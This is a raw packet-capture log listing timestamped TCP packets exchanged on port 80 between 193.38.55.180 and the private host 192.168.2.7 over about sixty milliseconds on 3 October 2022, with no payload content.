Oct 3, 2022 17:35:31.362183094 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.362193108 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.362224102 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.362234116 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.362276077 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.362466097 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.362509966 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.362531900 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.362551928 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.362592936 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.362637043 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.362679958 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.362682104 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.362682104 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.362682104 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.362723112 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.362728119 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.362728119 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.362762928 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.362773895 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.362804890 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.362809896 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.362845898 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.362852097 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.362899065 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.362932920 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.362978935 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.362982035 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.363023043 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.363029957 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.363064051 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.363073111 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.363104105 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.363112926 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.363145113 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.363149881 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.363187075 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.363195896 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.363226891 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.363231897 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.363266945 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.363272905 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.363312960 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.377553940 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.377641916 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.377727985 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.377741098 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.377763033 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.377804041 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.377815962 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.377830982 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.377834082 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.377865076 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.377866030 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.377885103 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.377893925 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.377907038 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.377923965 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.377944946 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.377952099 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.377966881 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.377981901 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.377999067 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.378011942 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.378027916 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.378042936 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.378058910 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.378071070 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.378088951 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.378102064 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.378118038 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.378130913 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.378146887 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.378160954 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.378176928 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.378190041 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.378206968 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.378218889 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.378236055 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.378247976 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.378263950 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.378302097 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.380604029 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.380682945 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.388343096 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.388456106 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.388484001 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.388503075 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.388530016 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.388557911 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.388586044 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.388613939 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.388631105 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.388643026 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.388673067 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.388691902 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.388700962 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.388711929 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.388729095 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.388752937 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.388753891 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.388767004 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.388788939 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.388792992 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.388803005 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.388813019 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.388813019 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.388839006 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.388864994 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.388868093 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.388890028 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.388907909 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.388922930 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.388937950 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.388946056 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.388969898 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.388969898 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.388993025 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.388994932 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.389020920 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.389025927 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.389055014 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.389065027 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.389080048 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.389090061 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.389106035 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.389112949 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.389132023 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.389132023 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.389157057 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.389166117 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.389180899 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.389195919 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.389204025 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.389218092 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.389228106 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.389238119 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.389254093 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.389261961 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.389277935 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.389293909 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.389302015 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.389326096 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.389327049 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.389326096 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.389352083 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.389359951 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.389377117 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.389384031 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.389401913 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.389405966 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.389425039 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.389430046 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.389451981 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.389457941 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.389475107 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.389498949 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.389498949 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.389523029 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.389538050 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.389547110 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.389561892 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.389570951 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.389584064 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.389595032 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.389605999 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.389617920 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.389626026 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.389642954 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.389647961 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.389666080 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.389669895 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.389691114 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.389694929 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.389714003 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.389723063 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.389734030 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.389738083 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.389760971 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.389764071 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.389780998 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.389787912 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.389811993 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.389812946 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.389834881 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.389837027 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.389859915 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.389861107 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.389883041 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.389883041 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.389904976 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.389909029 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.389931917 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.389941931 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.389956951 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.389969110 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.389981031 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.389991045 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.390006065 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.390027046 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.390054941 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.391500950 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.391550064 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.391562939 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.391573906 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.391590118 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.391597986 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.391613007 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.391621113 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.391640902 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.391644955 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.391668081 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.391674995 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.391691923 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.391707897 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.391715050 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.391737938 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.391741991 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.391771078 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.391788960 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.392182112 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.392236948 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.392237902 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.392261982 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.392282963 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.392285109 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.392308950 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.392313957 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.392333984 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.392333984 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.392354012 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.392359018 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.392381907 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.392385960 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.392405033 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.392407894 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.392426968 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.392436981 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.392451048 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.392457008 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.392468929 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.392474890 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.392493963 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.392498970 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.392513037 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.392522097 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.392539978 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.392556906 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.392560959 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.392579079 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.392592907 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.392601967 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.392612934 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.392626047 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.392642975 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.392649889 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.392663956 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.392673969 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.392684937 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.392708063 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.392719030 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.392730951 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.392748117 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.392754078 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.392760038 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.392776966 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.392792940 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.392800093 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.392821074 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.392822027 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.392841101 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.392844915 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.392862082 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.392868042 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.392885923 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.392890930 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.392905951 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.392915010 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.392925978 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.392939091 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.392961979 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.392966986 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.393003941 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.407087088 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.407186985 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.407217979 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.407229900 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.407264948 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.407284975 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.407295942 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.407342911 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.407640934 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.407691956 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.407706022 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.407751083 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.407767057 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.407813072 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.407830954 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.407875061 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.407888889 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.407932997 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.407948971 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.407991886 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.408010960 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.408066988 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.408075094 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.408127069 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.408135891 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.408183098 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.408196926 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.408246040 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.408256054 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.408299923 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.408313036 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.408354044 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.408365965 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.408394098 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.409523964 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.409559965 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.409589052 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.409619093 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.409642935 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.409674883 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.423314095 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.423361063 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.423388004 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.423413038 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.423433065 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.423438072 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.423463106 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.423481941 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.423485994 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.423511028 CEST	80	49703	193.38.55.180	192.168.2.7
